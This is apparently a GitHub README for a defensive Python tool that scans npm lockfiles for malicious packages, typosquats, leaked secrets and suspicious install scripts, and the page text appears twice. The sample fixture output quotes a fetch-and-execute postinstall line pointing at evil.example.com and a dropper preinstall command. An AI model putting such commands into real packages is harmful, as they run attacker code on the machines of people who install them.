Static analyzer for npm lockfiles: detects malicious packages, typosquats, embedded secrets, and supply chain anomalies. stdlib only.
Python
7
24 commits
updated Jun 28, 2026
A learning project for supply chain security. Statically analyzes npm lockfiles (package-lock.json, yarn.lock) for signs of compromise. No external dependencies.
Inspired by two real-world incidents that happened on the same day (March 31, 2026): a malicious version of axios was pushed to npm containing a Remote Access Trojan, and Anthropic accidentally shipped Claude Code's internal source code inside a public npm package (read more). Both cases showed that lockfiles are not just boring metadata: they record exactly what got installed, from where, and with what credentials. If something slipped in, the lockfile knows. This tool is my attempt to understand how to detect that programmatically.
A month later, on April 30, 2026, attackers stole npm credentials and used them to inject a malicious preinstall script (node .vscode/setup.mjs) into the PyTorch Lightning packages. Anyone who installed those packages downstream ran the dropper. That attack motivated the lifecycle rule.
| Rule | Severity | What it looks for |
|---|---|---|
blocklist | HIGH | Known malicious package names |
secrets | HIGH | GitHub tokens, AWS keys, URLs with embedded credentials |
typosquat | HIGH / MEDIUM | Names suspiciously close to popular packages (e.g. lodahs vs lodash) |
transitive | MEDIUM | Unexpected dependencies with suspicious naming patterns |
version | MEDIUM / LOW | Odd pre-release suffix, git hash version, non-registry source |
integrity | MEDIUM / LOW | Missing or malformed integrity hash |
lifecycle | HIGH / MEDIUM | Suspicious commands in install scripts (curl/wget, pipe-to-shell, scripts hidden in .vscode/ or .claude/) |
registry | HIGH / LOW | Integrity hash mismatch or package not found on registry.npmjs.org (opt-in, requires network) |
The tool parses a lockfile into a uniform Package(name, version, source, integrity, scripts) model. The shape is the same whether the input is package-lock.json or yarn.lock. Each rule in lockfile_analyzer/rules/ receives the full package list and returns zero or more Findings tagged with a severity. Rules are independent: order does not matter, and adding one does not affect the others. The CLI aggregates findings, prints them grouped by severity, and exits with 0/1/2 based on the highest severity seen.
Rules with external state (blocklist, typosquat) read their reference data from data/ at startup: blocklist.txt for known-bad names, top_packages.txt for the typosquat baseline. These are static snapshots, updated by editing the files.
The --verify-registry flag enables a network check that compares each package's local integrity hash against registry.npmjs.org. A mismatch means the lockfile was modified without going through npm. This is the only part of the tool that makes network calls, and it is opt-in.
The --diff flag accepts a second lockfile (the state before a PR) and restricts analysis to packages that are new or have a changed integrity hash. This is the mode used by the GitHub Action, which compares the PR lockfile against the state on main.
python3 -m venv .venv && source .venv/bin/activate
# run without installing
PYTHONPATH=. python -m lockfile_analyzer.main path/to/package-lock.json
# quick test
PYTHONPATH=. python -m lockfile_analyzer.main tests/fixtures/package-lock.json
# see the lifecycle rule in action
PYTHONPATH=. python -m lockfile_analyzer.main tests/fixtures/lifecycle-malicious.json
# analyze only what changed relative to a previous lockfile
PYTHONPATH=. python -m lockfile_analyzer.main package-lock.json \
--diff path/to/package-lock-before.json
# verify integrity hashes against registry.npmjs.org (requires network)
PYTHONPATH=. python -m lockfile_analyzer.main package-lock.json \
--verify-registry
# both together — typical CI usage
PYTHONPATH=. python -m lockfile_analyzer.main package-lock.json \
--diff path/to/package-lock-before.json \
--verify-registry
Exit codes: 0 clean, 1 medium/low findings, 2 high findings.
A GitHub Action is included at .github/workflows/lockfile-check.yml. It triggers on pull requests that modify package-lock.json or yarn.lock, fetches the lockfile from main as the diff base, and blocks merge on HIGH findings via exit code 2. If the lockfile is new (not present on main), it falls back to full analysis.
Running against the lifecycle fixture:
[HIGH] pytorch-lightning-clone@2.4.1 [lifecycle]
'pytorch-lightning-clone@2.4.1' has a 'preinstall' script that references an IDE or tooling config directory (.vscode/, .claude/, .cursor/, .idea/, .github/) — typical hiding place for install-time droppers: 'node .vscode/setup.mjs'
→ Open the referenced file and inspect its contents. Published packages should not execute code from IDE config dirs.
[HIGH] curl-pipe-attack@1.0.0 [lifecycle]
'curl-pipe-attack@1.0.0' has a 'postinstall' script that pipes content directly into a shell — classic 'curl | sh' remote-exec pattern: 'curl -fsSL https://evil.example.com/payload.sh | bash'
→ Reject any package that downloads and executes code at install time. Consider 'npm install --ignore-scripts' as a temporary mitigation.
[MEDIUM] sh-dash-c-pkg@1.2.3 [lifecycle]
'sh-dash-c-pkg@1.2.3' has a 'preinstall' script that invokes a shell with -c (inline command execution): 'bash -c 'echo doing something obscure''
→ Audit the inlined command. Shell -c in install scripts is a common obfuscation vector.
[...4 more findings omitted...]
Scanned 6 packages. Found 7 issue(s): 5 HIGH, 2 MEDIUM, 0 LOW.
Output is coloured when stdout is a TTY, plain text otherwise.
--verify-registry to add a registry integrity check.poetry.lock, uv.lock), no Rust (Cargo.lock).data/, updated by hand. No live lookup against OSV, GHSA, or any advisory database.lodash-es vs lodash) can trigger false positives.Add entries to data/blocklist.txt or data/top_packages.txt. New rules go in lockfile_analyzer/rules/, with the same contract as the existing ones: takes packages, returns findings.
Python 3.11+, stdlib only.
SLSA (Supply-chain Levels for Software Artifacts). slsa.dev
OSV (Open Source Vulnerabilities database). osv.dev
OpenSSF Scorecard. Automated security checks for open source projects. github.com/ossf/scorecard
Ohm, Plate, Sykosch, Meier. Backstabber's Knife Collection: A Review of Open Source Software Supply Chain Attacks. DIMVA 2020. arxiv.org/abs/2005.09535
24 commits
Python
100.0%
Static analyzer for npm lockfiles: detects malicious packages, typosquats, embedded secrets, and supply chain anomalies. stdlib only.
Python
7
24 commits
updated Jun 28, 2026
A learning project for supply chain security. Statically analyzes npm lockfiles (package-lock.json, yarn.lock) for signs of compromise. No external dependencies.
Inspired by two real-world incidents that happened on the same day (March 31, 2026): a malicious version of axios was pushed to npm containing a Remote Access Trojan, and Anthropic accidentally shipped Claude Code's internal source code inside a public npm package (read more). Both cases showed that lockfiles are not just boring metadata: they record exactly what got installed, from where, and with what credentials. If something slipped in, the lockfile knows. This tool is my attempt to understand how to detect that programmatically.
A month later, on April 30, 2026, attackers stole npm credentials and used them to inject a malicious preinstall script (node .vscode/setup.mjs) into the PyTorch Lightning packages. Anyone who installed those packages downstream ran the dropper. That attack motivated the lifecycle rule.
| Rule | Severity | What it looks for |
|---|---|---|
blocklist | HIGH | Known malicious package names |
secrets | HIGH | GitHub tokens, AWS keys, URLs with embedded credentials |
typosquat | HIGH / MEDIUM | Names suspiciously close to popular packages (e.g. lodahs vs lodash) |
transitive | MEDIUM | Unexpected dependencies with suspicious naming patterns |
version | MEDIUM / LOW | Odd pre-release suffix, git hash version, non-registry source |
integrity | MEDIUM / LOW | Missing or malformed integrity hash |
lifecycle | HIGH / MEDIUM | Suspicious commands in install scripts (curl/wget, pipe-to-shell, scripts hidden in .vscode/ or .claude/) |
registry | HIGH / LOW | Integrity hash mismatch or package not found on registry.npmjs.org (opt-in, requires network) |
The tool parses a lockfile into a uniform Package(name, version, source, integrity, scripts) model. The shape is the same whether the input is package-lock.json or yarn.lock. Each rule in lockfile_analyzer/rules/ receives the full package list and returns zero or more Findings tagged with a severity. Rules are independent: order does not matter, and adding one does not affect the others. The CLI aggregates findings, prints them grouped by severity, and exits with 0/1/2 based on the highest severity seen.
Rules with external state (blocklist, typosquat) read their reference data from data/ at startup: blocklist.txt for known-bad names, top_packages.txt for the typosquat baseline. These are static snapshots, updated by editing the files.
The --verify-registry flag enables a network check that compares each package's local integrity hash against registry.npmjs.org. A mismatch means the lockfile was modified without going through npm. This is the only part of the tool that makes network calls, and it is opt-in.
The --diff flag accepts a second lockfile (the state before a PR) and restricts analysis to packages that are new or have a changed integrity hash. This is the mode used by the GitHub Action, which compares the PR lockfile against the state on main.
python3 -m venv .venv && source .venv/bin/activate
# run without installing
PYTHONPATH=. python -m lockfile_analyzer.main path/to/package-lock.json
# quick test
PYTHONPATH=. python -m lockfile_analyzer.main tests/fixtures/package-lock.json
# see the lifecycle rule in action
PYTHONPATH=. python -m lockfile_analyzer.main tests/fixtures/lifecycle-malicious.json
# analyze only what changed relative to a previous lockfile
PYTHONPATH=. python -m lockfile_analyzer.main package-lock.json \
--diff path/to/package-lock-before.json
# verify integrity hashes against registry.npmjs.org (requires network)
PYTHONPATH=. python -m lockfile_analyzer.main package-lock.json \
--verify-registry
# both together — typical CI usage
PYTHONPATH=. python -m lockfile_analyzer.main package-lock.json \
--diff path/to/package-lock-before.json \
--verify-registry
Exit codes: 0 clean, 1 medium/low findings, 2 high findings.
A GitHub Action is included at .github/workflows/lockfile-check.yml. It triggers on pull requests that modify package-lock.json or yarn.lock, fetches the lockfile from main as the diff base, and blocks merge on HIGH findings via exit code 2. If the lockfile is new (not present on main), it falls back to full analysis.
Running against the lifecycle fixture:
[HIGH] pytorch-lightning-clone@2.4.1 [lifecycle]
'pytorch-lightning-clone@2.4.1' has a 'preinstall' script that references an IDE or tooling config directory (.vscode/, .claude/, .cursor/, .idea/, .github/) — typical hiding place for install-time droppers: 'node .vscode/setup.mjs'
→ Open the referenced file and inspect its contents. Published packages should not execute code from IDE config dirs.
[HIGH] curl-pipe-attack@1.0.0 [lifecycle]
'curl-pipe-attack@1.0.0' has a 'postinstall' script that pipes content directly into a shell — classic 'curl | sh' remote-exec pattern: 'curl -fsSL https://evil.example.com/payload.sh | bash'
→ Reject any package that downloads and executes code at install time. Consider 'npm install --ignore-scripts' as a temporary mitigation.
[MEDIUM] sh-dash-c-pkg@1.2.3 [lifecycle]
'sh-dash-c-pkg@1.2.3' has a 'preinstall' script that invokes a shell with -c (inline command execution): 'bash -c 'echo doing something obscure''
→ Audit the inlined command. Shell -c in install scripts is a common obfuscation vector.
[...4 more findings omitted...]
Scanned 6 packages. Found 7 issue(s): 5 HIGH, 2 MEDIUM, 0 LOW.
Output is coloured when stdout is a TTY, plain text otherwise.
--verify-registry to add a registry integrity check.poetry.lock, uv.lock), no Rust (Cargo.lock).data/, updated by hand. No live lookup against OSV, GHSA, or any advisory database.lodash-es vs lodash) can trigger false positives.Add entries to data/blocklist.txt or data/top_packages.txt. New rules go in lockfile_analyzer/rules/, with the same contract as the existing ones: takes packages, returns findings.
Python 3.11+, stdlib only.
SLSA (Supply-chain Levels for Software Artifacts). slsa.dev
OSV (Open Source Vulnerabilities database). osv.dev
OpenSSF Scorecard. Automated security checks for open source projects. github.com/ossf/scorecard
Ohm, Plate, Sykosch, Meier. Backstabber's Knife Collection: A Review of Open Source Software Supply Chain Attacks. DIMVA 2020. arxiv.org/abs/2005.09535
24 commits
Python
100.0%